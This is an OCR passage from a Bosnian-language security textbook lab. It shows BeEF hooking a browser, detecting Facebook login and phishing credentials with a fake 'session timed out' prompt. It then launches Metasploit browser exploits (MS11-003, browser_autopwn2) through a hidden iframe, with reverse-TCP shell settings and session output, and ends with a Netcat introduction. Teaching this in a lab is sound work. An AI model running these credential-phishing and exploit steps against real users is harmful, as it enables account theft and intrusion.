glavlju o ljudskom faktoru (Poglavlje 14) ée biti pokazani jos neki nacini kako
korisnik moze biti prevaren da ucita nezeljeni JavaScript.

Sada kada je web preglednik povezan sa BeEF moguce je iskoristit tu vezu za
razlicite namjene. Ovdje ¢e biti prikazano samo neke mogucnosti. Za vise detalja
pogledati BeEF projekat Wiki stranicu [8] ili knjigu ¢iju su autori napravili i
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- O X
BeEF Basic Demo x W=
€  (© 192.168.10.134:300C @ Q Search W B8 » =

You should be hooked into BeEF.

Have fun while your browser is working against you.

These links are for demonstrating the "Get Page HREFs" command module:
* The Browser Exploitation Framework Project homepage
* BeEF Wiki

* Browser Hacker's Handbook
* Slashdot

Have a go at the event logger. Insert your secret here:

You can also load up a more advanced demo page.

Slika 10.5: Firefox - Pristup stranici za napad na web preglednik

razvijaju BeEF [1].

10.2.2 Krada korisnickih prijavnih podatka za Facebook kroz BeEF

Prvi i najjednostavniji napad spada mozda vise u drustveni inzenjering koji ée
biti kasnije obraden, ali dobro ilustrira moguce napada kroz web preglednik.

Prvi korak je da se utvrdi na koje drustvene mreze je korisnik povezan. Kada je
na lijevoj strane prozora BeEF konzole izabran povezani web preglednik, na des-
noj se izborom taba ”Commands” prikazuju se komande koje je moguce izvrsiti
kroz vezu sa web preglednikom. U tom tabu izabrana je grupa ”Network” i ko-
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BeEF Control Panel - Mozilla Firefox

BeEF Control Panel

€ @®[127.0.01 yane E1| ¢ wa & O » =
‘% BeEF 0.4.7.0-alpha | Submit Bug | Logout
: Hooked Browsers Getting Started Logs Current Browser
4 =5 Online Browsers
457192.168.10.134 Details Logs Commands Rider XssRays Ipec Netwaork WebRTC

@ W = 192 168.10.104

= Category: Browser (7 ltems)
> [ Offine Browsers

Browser Name: Firefox Initialization
Browser Version: 56 Initialization
Browser UA String: Mozilla/5.0 (Windows NT 10.0; Wing4,; x64; rv:56.0) Initialization
Gecko/20100101 Firefox/56.0

Browser Language: en-US Initialization
Browser Platform: WinG4 Initialization
Browser Plugins: Shockwave Flash-v.27.0.0.183 Initialization
Window Size: Width: 872, Height: 525 Initialization

=) Category: Browser Components (12 ltems)
Flash: Yes Initialization

VBSecript: No Initialization

Slika 10.6: BeEF - Povezani web preglednik Firefox na Windows

manda " Detect Social Network” kako je prikazano na slici 10.7.

Treba primijetiti da je ova komanda zelene boje. To zna¢i da ¢ée njeno
izvrSavanje biti moguée i nece biti vidljivo korisniku napadnutog preglednika.
Izvrsavanje komandi koje su narandzaste boje ¢e biti vidljivo korisniku napad-
nutog preglednika, te mogu postojati ograni¢enja u moguénostima komande. Za
sive komande se ne zna da li ¢e raditi u pregledniku. Crvene vrlo vjerovatno nece.

Komanda se izvrsava klikom na dugme ” Execute”. Nakon izvrSenja komande,
klikom na srednji prozor ”Module Result History”, na izvrsenu komandu, ovdje
”command 3”7, vidi se rezultat njenog izvrSenja u desnom prozoru. Iz ispisa rezul-
tata se moze zakljuciti da je korisnik prijavljen na Facebook, $to se vidi na slici
10.8.

Posto je ustanovljeno da je korisnik povezan na Facebook kroz BeEF ga se
moze pokusSati prevariti da napadacu da svoje Facebook prijavne podatke. U
prozoru za komande izabrana je grupa ”Social Engineering” i komanda ”Petty
Theft” kako je prikazano na slici 10.9.
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Getting Started Logs Current Browser
Details Logs Commands Rider XssRays Ipec MNetwork WebRTC
Module Tree Module Results History Detect Social Networks

Search i... date label Description:  This module will detect if
the Hooked Browser is

- ) f:  S0lElancommand currently authenticated to
» [ Metasploit (295) 12:36 1 GMail, Facenook and
» [ Misc (16) 1 2017-11-28 command Twitter.
4 ] Network (21) 12:37 >
- []ADC (2) It 227
_ Cross-Origin Scanner (COR Detection 5000
_ DOSer Timeout:
. Detect Burp
_ Detect Social Networks
_ Detect Tor

) Get HTTP Servers (Favicor
. Get Proxy Servers (WPAD)

| Execute
Pat nban Kataenrls Hoete
(L) Ready
Slika 10.7: BeEF - Detektuj drustvene mreze
Getting Started Logs Current Browser
Details Logs Commands Rider XssRays Ipec MNetwork WebRTC
Module Tree Module Results History Command results =
Search i, date |abel 1 Tue Mov 28 2017 12:53:21
GMT+0100 (CET)
0 2017-11-28 command data: gmail=User is NOT
» (] Metasploit (295) 12:36 1 authenticated to GMail&twitter=User
. T Misc (16 - is NOT authenticated to Twitter
_—I iscite) 1 fggyﬁ 28 gommand (response success)&facebook=User
4 ") Network (21) : is authenticated to Facebook
- [_JADC (2) 2 2017-11-28 command
) Cross-Origin Scanner (COR = -
o DOSer
Detect Burp
_ Detect Social Networks
Detect Tor
_ Get HTTP Servers (Favicor
_ Get Proxy Servers (WPAD)
Rnt ntan Mahunee Hoete Re-execute command +

Slika 10.8: BeEF - Rezultat otkrivanja povezanih drustvenih mreza
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4 {7 Online Browsers

459192.168.10134 Detais | Logs || Commands | Rider || XssRays | Ipec || Network || WebRTC
@ 3 192.168.10.104 Module Tree Module Results History Pretty Theft
(] Offine Browsers
Search W date label Description:  Asks the user for their username and password
w/Peraistoncs (5 0 201711101332 command 1 B Sl
[ Phonegap (16) " Sk
4 =5 Social Enginesring (24)

Steal Autocomplete Dialog Type: Facebook 4
Textto Voice
Fake LastPass Decking Grey &
Clickjacking Custom Logo | http:70.0.0.0:3000/ui/mediz
Ciiopy (Generic only)
Fake Flash Update
Fake Nolification Bar
Fake Nolification Bar (Chr|
Fake Notfication Bar (Fire,
Fake Nolification Bar (IE)
Firefox Extension (Bindsh,
Firefox Extension (Droppe
Firefox Extension (Revers
Google Phishing
Leamtuf Download
Prefty Theft Execute

Slika 10.9: BeEF - Petty Theft postavka

Ova komanda je narandzaste boje. To znaci da ¢e njeno izvrSavanje biti vid-
ljivo korisniku napadnutog preglednika, sto ovdje nije problem, i zapravo i treba
da bude tako. Sa desne strane slike se vidi da je to napad u kom se korisniku
u napadnutom web pregledniku pojavljuje mali prozor u kom se od njega trazi
da unese korisnicko ime i lozinku za izabrani servis uz obrazlozenje da je sesija
istekla. Ovdje je ostavljen inicijalni izbor servisa Facebook, ali je moguce izabrati
i druge sa padajuce liste. Moguée je promijeniti boju pozadine kao i izabrati logo
koji ¢e se prikazati za genericki servis koji sluzi za prilagodenje odnosno napade
na servise koji nisu inicijalno ponudeni. Komanda se izvrsava klikom na dugme
"Execute”. Nakon izvrsenja komande u povezanom web pregledniku pojavljuje
se prozor kao na slici 10.10.

Ako korisnik web preglednika nasjedne na ovaj trik, sto je lako moguce s
obzirom da je danas veliki broj korisnika Facebook stalno povezan i zele da tako i
bude, onda ¢e podaci koje unese u prozor biti sac¢uvani i vidljivi u BeEF konzoli,
$to se vidi na slici 10.11.

10.2.3 Napad na web preglednik koristenjem Metasploit kroz BeEF

Veze web preglednika sa BeEF je iskoriStena za napad na web preglednik upo-
trebom Metasploit. Za ovo je bilo neophodno povezivanje na BeEF i Metasploit
koje je objasnjeno na pocetku ove vjezbe. Ovdje je pokazana druga vrsta Me-
tasploit napada. Ovi napadi su pasivni, jer pasivno otekuju konekciju od zrtve.
Najcesée su ovakvi napadi na web preglednike (browser) jer su oni tradicionalno
imali veliki broj propusta. Za ovaj napad ¢e biti koristene postavke koje su blize
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BeEF Basic Demo » [ Facebook-Loglnor® | 5 Google * | +

& (D& 192.168.10.134:3000/¢ G Q Search W B8 + A 2 *

Facebook Session Timed Out

Your session has timed out due to inactivity.

Flease re-enter your username and password to login.

Email: -+
Password: =

Slika 10.10: Firefox - Petty Theft napad

Meodule Tree Meodule Results History Command results

Search id  date label « 1 ) T biov
& Fake Fiash Update o data: answer=student@adresa.balozinka
i Fake Notification Bar
i\ Fake Notification Bar (Chr
i Fake Notification Bar (Fire
i\ Fake Notification Bar (IE)
i Firefox Extension (Bindsh
i Firefox Extension {Droppe

2017-11-1013:32  command 1
1 2017-11-10 13:03  command 2

i Firefox Extension (Revers
i Google Phishing
i Leamtuf Download

 Pretty Theft g
i Renlare Videns (Fake Ph

Slika 10.11: BeEF - Petty Theft rezultat
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realnom napadu.

U BeEF prozoru za izbor komandi izabrana je grupa ”Metasploit” i koman-
da/sigurnosni propust ?MS11-003 Microsoft Internet Explorer CSS Recursive
Import Use After Free”. Ovaj propust postoji na Internet Explorer 6 do 8 (na
Windows XP, Windows 7 i server 2008) i omogucava izvrsavanje koda po zelji
napadaca. Kao i kod svakog Metasploit napada potrebno je definisati podeSenja
sigurnosnog propusta i koda koji ée se izvrsiti. U ovom slucaju to je bilo moguce
uraditi kroz BeEF okruzenje. Izabrana podesenja prikazana su na slici (desni pro-
zor) 10.12, a njihova znacenje ¢e biti objasnjeno ispod slike.

Module Tree Module Results History MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After
Free
Search i.. date label
0  2017-11-28 command Description: This module exploits a memory corruption vulnerability
KeyHelp ActiveX LaunchTr 13:20 4 within Microsoft\'s HTML engine (mshtml). When parsing

an HTML page centaining a recursive CSS import, a C++

KingScada iocCtient Downiag object is deleted and later reused. This leads to arbitrary

MS03-020 Microsoft Interne code execution. This exploit utilizes a combination of heap
MS06-013 Mi it Int spraying and the _.NET 2.0 ‘'mscorie.dll' module to bypass

¥ oL i DEP and ASLR. This module does not opt-in to ASLR. As
MS06-014 Microsoft Interne such, this medule should be reliable on all Windows
MS06-055 Microsoft Inteme versions with .NET 2.0.50727 installed.

MS06-057 Microsoft Interne

MS06-071 Microsoft Interne

MS08-078 Microsoft Intermne ssL:

MS09-072 Microsoft Interne

MS10-002 Microsoft Interne

MS10-002 Microsoft Inteme SRVHOST. 192.168.10.134
MS10-018 Microsoft Interne
MS10-018 Microsoft Interne
MS10-026 Microsoft MPEC URIPATH: Itajna
MS10-080 Microsoft Inteme OBEUSCATE:
MS11-003 Microsoft Interne
MS11-093 Microsoft Windaoy
MS12-004 midiOutPlayNex
MS12-063 Microsoft Interne
MS13-008 Microsoft Intermne LPORT: 443
MS13-009 Microsoft Interne
MS13-022 Microsoft Silver
MS13-037 Microsoft Interne Execute

Id: 509
SSLCert:

SRVPORT: 80

Payload: windows/shellreverse_tcp | v

LHOST: 192.168.10.134

EXITFUNC: | process v

Slika 10.12: BeEF - Postavke Metasploit napada

U sklopu ovog napada se pokre¢e HTTP server (na izabranoj IP adresi i
portu) gdje na lokaciji po izboru napadac¢a posluzuje web pregledniku zlona-
mjerni kod koji iskoristava propust. Opcije koje je su za ovo bile podeSene su;
SRVHOST 192.168.10.134
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pokreée HTTP server na racunaru napadacal.

SRVPORT 80
pokrecée server na portu 80 (standardnom za web server)?.

URIPATH /tajna
podesava naziv lokacije sa koje ¢e se posluziti napadacki kod (ovdje je to nesto

§to moze zvucati primamljivo (mada kod napada kroz BeEF znacenje naziva nije
bitno).

Kao zlonamjerni kod (Payload) koristi se ranije pokazani i koristeni Windows
reverzni TCP shell, koji je izabran sa padajuée liste u BeEF. Kako se za uspos-
tavljanje konekcije koristi reverzni TCP, potrebno je unijeti IP adresu i port na
kojim osluskuje proces koji prihvata konekciju od zrtve. Izabrani su IP adresa
napadaca i portu 443 koji se uobi¢ajeno koristi za HT'TPS i uglavnom je otvoren
na firewall. Opcije koje su podesene su;

LHOST 192.168.10.134
LPORT 80

Klikom na dugme ”Execute” u BeEF izabrano je iskoristavanje sigurnosnog
propusta i zlonamjerni kod sa podesenjima se izvrSavaju unutar Metasploit. To
se moze provjeriti u Metasploit konzoli komandom jobs kao na slici 10.13.

msf > jobs =~

Id Name Payload
Payload opts

7 Exploit: windows/browser/msi1l_003_ie_css_import windows/shell/reverse_tcp
tcp://192.168.10.134:443

Slika 10.13: Metasploit - Napad pokrenut kroz BeEF

! Podesavanje ove opcije nije neophodno, jer i ako se ostavi inicijalna IP adresa 0.0.0.0
HTTP server ¢e se pokrenuti na lokalnom rac¢unaru

2 Potrebno je osigurati da ovaj port nije zauzet od strane neke druge aplikacije - HTTP
servera
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Da bi se izvrsio napad korisnik web preglednika bi morao posjetiti web loka-
ciju navedenu u postavci napada (http://192.168.10.134/tajna). Za to moze
biti iskoriStena povezanost web preglednika sa BeEF. Kroz BeEF je moguée iz-
dati komandu web pregledniku da posjeti neku lokaciju bez znanja i saglasnosti
korisnika web preglednika. To se postize pravljenjem nevidljivog okvira (Iframe)
sa adresom koju web preglednik treba da podsjeti. U BeEF prozoru za izbor ko-
mandi izabrana je grupa ”Misc” i komanda ” Create Invisible Iframe”. U krajnjem
desnom prozoru je upisana adresa sa koje ¢e se posluziti pripremljeni Metasploit
napad, kako se vidi na slici 10.14.

Module Tree Module Results History Create Invisible Ilframe
Search i... date label Description: Creates an invisible iframe.
browser_autopwn Id: 26
4 Misc (16) -
: -{f Hai
JIBM iNotes (5) : http:/f192.168.10.134/tajnal

Create Invisible Iframe
Wordpress Post-Auth RCE
iFrame Event Logger

ICrmrmn Cniffnr

Execute

Slika 10.14: BeEF - Komanda skriveni Iframe

Klikom na dugme ”Execute” u povezanom web pregledniku je napravljen
skriveni Iframe koji je uc¢inio da web preglednik posjeti zeljenu web lokaciju,
potpuno neprimjetno za njegovog korisnika. Web pregledniku je posluzen napad
koji je uspio i uspostavio sesiju sa Metasploit kako se vidi na slici 10.15.

[*] Command shell session 1 opened (192.168.10.134:443 -> 192.168.10.143:49204)
at 2017-11-29 08:28:45 +0100
msf > []

Slika 10.15: Metasploit - Uspostavljena sesija nakon napada pokrenutog kroz BeEF

Linija u Metasploit ispisu kaze da je ID pokrenute sesije 1. Da bi se povezalo
na tu sesiju potrebno je otkucati komadu kojom se bira sesija sa kojom ¢e biti
vrsena interakcija:
sessions -i 1
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Sada se prompt mijenja u Windows komandnu liniju na napadnutom ra¢unaru
na kom se izvrSava web preglednik povezan na BeEF. Da bi se to potvrdilo, kao
i ranije, otkucana je Windows komanda za ispis IP adrese ipconfig. Adresa
koja je ispisana je IP adresa napadnutog racunara, Sto je potvrda da je napadaéc
dobio pristup komandnoj liniji tog racunara. Povezivanje sa sesijom izvrsavanje
komande prikazani su na slici 10.16.

msf > sessions -1 1
[*] starting interaction with 1...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\studentad\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix .

Link-local IPv6 Address . . . . . fe80::19e7:f96f:e455:1da2%11

sr wa me we ws

IPva Address. . . - . as o2 om e 192.168.10.143
Subnet Mask . . . . . . . . ... 255.255.255.0
Default Gateway . . . . . . . . . 192.168.10.1

Tunnel adapter isatap.{CBA02B49-B93E-451E-81D1-32A7E363595C}:

Media State . . . . - Media disconnected

Connection-specific DNS Suffix . :

Tunnel adapter Teredo Tunneling Pseudo-Interface:

Bedia State = & v a o ane & ok s Media disconnected

Connection-specific DNS Suffix . :

C:\Users\studentad\Desktop>|}

Slika 10.16: Metasploit - Komandna linija nakon napada pokrenutog kroz BeEF

U ovom slucaju izabran je Metasploit kod za iskoristavanje odredenog sigur-
nosnog propusta u web pregledniku. Uspjesnost napada zavisila je od ranjivosti
preglednika koji posjeti stranicu sa tim kodom na izabrani sigurnosni propust.

Metasploit nudi moguénost generisanja veceg broja napada na razlicite si-
gurnosne propuste web preglednika. Modul koji se zove ”Browser Autopown”
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omogucava da se sa jedne lokacije automatski posluzi veéi broj napada na si-
gurnosne propuste web pregledniku koji posjeti tu lokaciju. Ovim se izbjegava
potreba da se izabere samo jedan sigurnosni propust i poveéava mogucénost da ¢e
neki od posluzenih propusta postojati u web pregledniku koji se napada. Ovaj
modul ima razli¢ite opcije. Neke od moguénosti su da se naglasi koji napadi se zele
ili ne zele posluzivati web preglednicima. Moze se re¢i da se posluzuju napadi koji
iskoristavaju Adobe Flash propuste, ali da se iskljuce oni koji su za specifiéni za
Android. Moze se izabrati broj napada koji ¢e biti posluzeni kao i HTML sadrzaj
(stranica) koju ée korisnik vidjeti dok se u pozadini bude izvrsavao napad na web
preglednik.

Napad se priprema, slicno kao i drugi Metasploit napadi, izborom modula u
Metasploit konzoli:
use auxiliary/server/browser_autopwn2

Modul browser_autopwn2 je novija verzija ovog modula koja radi brze i efi-
kasnije od prethodne koja se zvala browser_autopwn i koja je jos uvijek dostupna
u Metasploit. Razlog za uvodenje novog modula je optereéenje koje na racunar
na kom se pokrece izaziva ovaj modul. Posto se posluzuje veéi broj napada vri-
jeme potrebno da se svi pokrenu se ranije mjerilo u minutama. Novi modul to
radi mnogo brze. I ovaj modul ima svoje opcije koje se, standardno, prikazuju
komandom:
show options

Rezultat izvrsavanja prethodne dvije komande prikazan je na slici 10.17.

Dio opcija, SRVHOST, SRVPORT i URIPATH, je veé¢ poznat i ima isto
znacenje kao i u prethodno koristenom napadu. Opcije EXCLUDE_PATTERN i
INCLUDE_PATTERN omoguéavaju da se definiSe niz znakova na osnovu kog ¢e
se ukljuciti ili iskljuciti napadi ¢iji naziv ukljuCuje navedeni niz znakova. Opcija
Retries definise da li ¢e se napad pokusati isporuciti pregledniku vise od jedan
put. Izabrane su zZeljene opcije unosom slijede¢ih komandi:

SRVHOST 192.168.10.134

SRVPORT 80

URIPATH /automatski

set INCUDE_PATTERN "Adobe Flash"
set EXCLUDE PATTERN "android"

Detaljnije konfigurisanje napada moguce je kroz napredne opcije do kojih se
dolazi komandom:
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msf auxiliary( ) > use auxiliary/server/browser_autopwn2
msf auxiliary( ) > show options

Module options (auxiliary/server/browser_autopwn2):

Name Current Setting Required Description

EXCLUDE_PATTERN no Pattern search to exclude specific modules

INCLUDE_PATTERN no Pattern search to include specific modules

Retries true no Allow the browser to retry the module

SRVHOST 9.0.0.0 yes The local host to listen on. This must be an
address on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is
randomly generated)

URIPATH no The URI to use for this exploit (default is
random)

Auxiliary action:

Name Description

WebServer Start a bunch of modules and direct clients to appropriate exploits

msf auxiliary( ES |

Slika 10.17: Metasploit - browser_autopwn modul

show advanced
Dio opcija koje se tom prilikom nude pokazan je na slici 10.18.

Podesene su jos neke od opcija radi pokazivanja dodatnih moguénosti napred-
nih Metasploit opcija. Treba napomenuti da ove napredne opcije nisu vezane za
ovaj modul ve¢ su dostupne za sve module.

Podesene opcije bile su:
set HTMLContent file:/home/smrdovic/Documents/TS/autopwn_pocetna.html
podesava da se pregledniku posluzi navedena stranica. Stranica je napravljena na-
mjenski za ovu vjezbu i u njoj piSe da korisnik treba da priceka dok se stranica
ne ucita i da ne zatvara web preglednik. Ideja je da se korisnik zadrzi na stranici
dovoljno dugo da se napadi uspiju izvrsiti.

set MaxExploitCount 10
podeseno je da se posluzi samo 10 napada. Ovo je uradeno da bi ispis pozvanih
napada stao na stranicu knjige.

Posto ¢e uspjesnost napada biti isprobana sa Firefox web preglednikom na
Windows OS, napravljene su neke prilagodbe opcija. Ove prilagodbe nisu bile
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nsf auxiliary(b

Module advanced options (auxiliary/server/browser_autopwn2):

Name
AllowedAddresses

e interested in attacking
CookieExpiratien

mn2) > show advanced

Current Setting

years (blank=expire on exit)

CookieName
king cookie
Custom404

__ua

04 URL (Example: http://example.com/404.html)

ExploitReloadTimeout

ds before trying the next
HTMLContent
JsIdentifiers

rve for JsObfu
JsObfuscate

bfuscate JavaScript
LHOST

he exploits and handlers
ListenerComm

cation channel to use for
MaxExploitCount

ploits to load
MaxSessionCount

o get
PAYLOAD_ANDROID

browser exploits
PAYLOAD_ANDROID_LPORT

droid browser exploits
PAYLOAD_FIREFOX

browser exploits
PAYLOAD_FIREFOX_LPORT

refox browser exploits
PAYLOAD_GENERIC

browser exploits
PAYLOAD_GENERIC_LPORT

neric browser exploits
PAYLOAD_JAVA

wser exploits
PAYLOAD_JAVA LPORT

va browser exploits
PAYLOAD_LINUX

3000
exploit

<]

192.168.10.134

this service

21

-1
android/meterpreter/reverse_tcp
4443
firefox/shell_reverse_tcp
4442
generic/shell_reverse_tcp
4459
java/meterpreter/reverse_tcp
4448

linux/x86/meterpreter/reverse_tcp

Required

no
no

no
no

no
yes
no
no

no

yes
yes

yes
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Description

A_;;;éé_;%_IPs you'r
Coockie expiration in
The name of the trac
An external custom 4

Number of millisecon

HTML Content

Identifiers to prese
Number of times to o
The local host for t
The specific communi
Number of browser ex
Number of sessions t
Payload for android
Payload LPORT for an
Payload for firefox
Payload LPORT for fi
Payload for generic
Payload LPORT for ge
Payload for java bro
Payload LPORT for ja

Payload for linux br

Slika 10.18: Metasploit - browser_autopwn2 napredne opcije

neophodne, ali su uradene da se pokazu neke od moguénosti.

set PAYLOAD_GENERIC_LPORT 443
bira se port po kom ¢e se uspostaviti povratna konekcija za genericki napad na
web preglednik. Izabran je port 443 (HTTPS), kao i ranije.

set PAYLOAD FIREFOX windows/shell/reverse_tcp
bira se zlonamjerni kod koji ¢e se pozvati u slucaju uspjesnog napada na web
preglednik Firefox. Izabran je kod koji je i ranije koristen za Windows OS. Mogli
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su biti podeseni i kodovi za druge OS

set PAYLOAD_FIREFOX_LPORT 8080
bira se port po kom ¢e se uspostaviti povratna konekcija. Izabran je port 8080,
koji se koristi kao alternativni HT'TP port.

Napad je, standardno, pokrenut komandom exploit. Iz ispisa u konzoli nakon
pokretanja komande vidi se da ¢e 10 napada biti pokrenuto ka web pregledniku
koji pristupi lokaciji koja je definisana i navedena na kraju ispisa. Napadi su iz-
abrani na osnovu podeSenih parametara i poredani po ocekivanoj uspjesnosti i
starosti. Noviji napadi za koje se najvise ocekuje da ¢e uspjeti ¢e biti pokuSani
prvi. Za sve napade naveden je zlonamjerni kod koji ¢e se izvrsiti u slucaju us-
pjesnog iskoristavanja sigurnosnog propusta i po kom portu ée se prihvatiti konek-
cija sa ra¢unara zrtve. Ovi parametri su onakvi kakvi su u prethodnim koracima
podeseni. Ove informacije mogu se vidjeti sa slike 10.19.

msf auxiliary( 2) > exploit
[#] Auxiliary module execution completed

] Searching BES exploits, please wait...
] starting exploit modules...
*#] Starting listeners...
] Time spent: 8.207046932
] Using URL: http://192.168.10.134:80/automatski

] The following is a list of exploits that BrowserAutoPwn will consider using.
#] Starting the payload handler...
#] Exploits with the highest ranking and newest will be tried first.

order Rank Name Payload

1 Excellent firefox_webidl_injection generic/shell_reverse_tcp on 443
2 Excellent firefox_tostring_console_injection generic/shell_reverse_tcp on 443
3 Excellent firefox_svg_plugin generic/shell_reverse_tcp on 443
4 Excellent firefox_proto_crmfrequest generic/shell reverse tcp on 443
5 Great adobe_flash_worker_byte_array_uaf windows/shell/reverse_tcp on 8080
6 Great adobe flash_domain_memory uaf windows/shell/reverse tcp on 8080
7 Great adobe_flash_copy_pixels_to_byte_array windows/shell/reverse_tcp on 8688
8 Great adobe_flash_casi32_1int_overflow windows/shell/reverse_tcp on 8080
9 Great adobe_flash_uncompress_zlib_uaf windows/shell/reverse_tcp on 8088
10 Great adobe_flash_shader_job_overflow windows/shell/reverse_tcp on 8080

[+] Please use the following URL for the browser attack:
[+] BrowserAutoPwn URL: http://192.168.10.134:80/automatski
[*] Server started.

msf auxiliary( 2) = 11

Slika 10.19: Metasploit - browser_autopwn2 pokretanje
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Kada je sa web preglednikom Firefox na Windows OS pristupljeno podesenoj
lokaciji sa koje se posluzuje napad u preglednik je u¢itana podesena web stranica
kako se vidi na slici 10.20.

|£jj'j http:_a'_a'192.168.10.134,-"3utomatski,a'o)rlcth_a'l + |
(- 192.168.10.134/automatski/ oyktghy/ c El— Google P ¥ & E-

-

Molim pricekajte, stranica se ucitava.

m

Ovo moze potrajati nekoliko trenutaka i molimo vas
da ne zatvarate vas web preglednik.

Slika 10.20: Firefox - pristup stranici posluzenoj sa browser_autopwn2

Istovremeno sa ucitavanjem stranice web pregledniku je pocelo posluzivanje
napada. To je ocigledno bilo uspjesno jer se u Metasploit konzoli ispisuje poruka
o posluzenom napadu i uspjeSno uspostavljenoj sesiji kako se vidi sa slike 10.21.

[*] Gathering target information for 192.168.10.143

[*] Sending HTML response to 192.168.10.143

[*] Command shell session 1 opened (192.168.10.134:443 -> 192.168.10.143:49290) at 2017-12-1
5 ©9:36:37 +01600

[*] Session ID 1 (192.168.10.134:443 -> 192.168.10.143:49290) processing InitialAutoRunScrip
t 'migrate -f'

Slika 10.21: Metasploit - browser_autopwn2 uspjesan napad

Interakcija sa uspostavljenom sesijom omogucena je komandom:
sessions -i 1

Posto je dobiven pristup komandnoj liniji OS napadnutog racunara izvrSena
je komanda ipconfig da se potvrdi IP adresa, kako je radeno i ranije. Dobivena
adresa je 192.168.10.143 sto je adresa napadnutog racunara. Navedene komande
i rezultati njihovog izvrSenja vide se na slici 10.22.
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msf auxiliary(browser_autopwn2) > sessions i1
[*] Starting interaction with 1...

ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix .

Link-local IPv6 Address . feB80::19e7:796f:e455:1da2%11

IPv4 Address. . . . . « « « « « . I 192.168.10.143
Subnet Mask . : 255.255.255.0
Default Gateway . : 192.168.10.1

Tunnel adapter isatap.{CBA©2B49-B93E-451E-81D1-32A7TE363595C}:

Media State . . . . . . . . . . . ! Media disconnected
Connection-specific DNS Suffix .
Tunnel adapter Teredo Tunneling Pseudo-Interface:

Media State . Media disconnected

Connection-specific DNS Suffix

Slika 10.22: Metasploit - browser_autopwn2 uspostavljena sesija
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11

VJEZBA: Posljedice iskoristavanja sigurnosnih
propusta i zlonamjerni softver

Cilj vjezbe je upoznavanje studenata sa mogucim posljedicama iskoriStavanja si-
gurnosnih propusta. U sklopu vjezbe obradena je upotreba nekoliko alata i na¢ina
njihove upotrebe za ove namjene. Pokazano je kako zlonamjerni softver osigurava
trajnu instalaciju na racunaru i prolazak kroz firewall.

11.1 Netcat - osnovne koristene komande

Potrebno je upoznati se sa Netcat alatom. Potrebno je pokazati kako se Netcat
moze iskoristiti za dobivanje pristupa komandnoj liniji na udaljenom racunaru.

Rjesenje: Netcat omoguéava jednostavno pokretanje TCP/UDP klijenta ili
servera, odnosno uspostavljanje konekcije sa serverom koji osluskuje nakon portu
ili pokretanje osluskivanja, prihvatanja konekcija, na nekom portu. Ovdje je po-
kazano samo nekoliko osnovnih namjena Netcat vezanih za konkretnu vjezbu.
Citaocima se savjetuje bolje upoznavanje sa ovim alatom kroz dokumentaciju
dostupnu u sklopu instalacije, kroz tutorijale dostupne na webu ili iz knjige po-
svedene ovom alatu [19].

Netcat, je izvorno Unix (Linux) alat, ali postoji i verzija za Windows OS.
Na vecini Linux distribucija ovaj alat je instaliran. Na Ununtu 16.04 inicijalno je
instalirana OpenBSD verzija Netcat. Radi dosljednost i poklapanja sa veéinom
dostupnih Netcat uputa ova verzija zamijenjena je klasi¢cnom Netcat verzijom.
Za ovo je potrebno instalirati paket sa ovom verzijom Netcat komandom:
sudo apt-get install netcat-traditional
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Nakon toga potrebno je reé¢i Linux OS koju od, vise, verzija Netcat alata da
koristi komandom:
sudo update-alternatives --config nc

Sa liste koja se pojavi potrebno je izabrati broj koji odgovara putanji do
klasi¢nog Netcat, obi¢no /bin/nc.traditional. U konkretnom slucaju to je bio
broj dva.

Nakon toga se dobije informacija da je izvrSena izmjena i da ¢e komanda za
poziv Netcat (nc) pozivati klasiénu (tradicionalnu) verziju.

Netcat za Windows OS je napravljen iz izvornog koda koji je dostupan na
SourceForge
https://sourceforge.net/projects/nc110/

Ova verzija Netcat je prilicno stara (1985) i neodrzavana. Izvrina verzija na-
pravljena na osnovu ovog izvrsnog koda se prepoznaje kao zlonamjerni softver od
antivirusnih alata. Iz tog razloga je Nmap projekat napravio savremenu verziju
Netcat, koja se zove Ncat. Ncat je dostupan unutar Nmap instalacije. Instala-
cija Nmap je opisana ranije, ali da ponovimo da se instalacione datoteke mogu
preuzeti sa https://nmap.org/download.html, dio ”"Microsoft Windows bina-
ries”. U vrijeme pisanja aktuelna verzija bila je 7.31. Po preuzimanju datoteke
"nmap-7.31-setup.exe” potrebno ju je pokrenuti. Tokom instalacije potrebno je
prihvatiti uslove koristenja, izabrati komponente (ovdje je mogudée izabrati samo
Necat i obavezno Nmap Core Files) i izabrati lokaciju instalacije. Po zavrsetku
instalacije izvrsna datoteka ncat.exe dostupna je na lokaciji \Program Files
(x86) \Nmap.

Alternativa ovoj instalaciji koja je ovdje koristena je da se preuzme ncat
verzija koje je portabilna (staticki linkovana) i za koju nije potrebno da pos-
toje dodatne biblioteke (DLL). Ova datoteka nalazi se u kompresovanoj datoteci
nmap_verzija.zip dostupnoj na https://nmap.org/dist/ lokaciji.

Kao primjer osnovne upotrebe Netcat pokrenut je Ncat server na Windows
OS koji oslugkuje na portu 4000 komandom®:
ncat -1 4000

! Moze se pojaviti upozorenje od Windows Firewall da se dopusti ncat.exe komuni-
kacija sa mrezom koju inicijalno treba omoguéiti. Kasnije je objasnjeno kako se ovo
upozorenje moze zaobi¢i na racunaru zrtve.
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Na Linux ra¢unaru je pokrenut klijent koji pristupa ovom serveru komandom:
nc 192.168.100.143% 4000

Na slici 11.2 prikazana je veza izmedu klijenta i servera i otkucane komande
sa oznakom rednog broja.

2. % nc 192.168.10.143 4400 1. C:\>nc -1 4400
—

Y —

Linux Windows
192.168.10.134 192.168.10.143

Slika 11.1: Netcat - osnovna komunikacija klijent-server

Nakon toga se sve §to se otkuca u jednom ili drugom prozoru (Windows/Li-
nux) prikazuje na suprotnoj strani. Ova komunikacija prikazana je na slici 11.2.

Chy\Windows\systema2cmd.exe - ncat -14400

s“Program Files (xB6>“Nmap>*ncat -1 4488
ozdrav sa Linux

Pozdrav sa Windows

Duo je nc na Ubuntu 16 .84

Ouvo Jje ncat na Windouws 7

smrdovic@VB1604: ~

smrdovic@VB1604:~S$ nc 192.168.10.143 4400
Pozdrav sa Linux

Pozdrav sa Windows

Ovo je nc na Ubuntu 16.04

Ovo je ncat na Windows 7

Slika 11.2: Netcat - osnovna razmjena poruka klijent-server

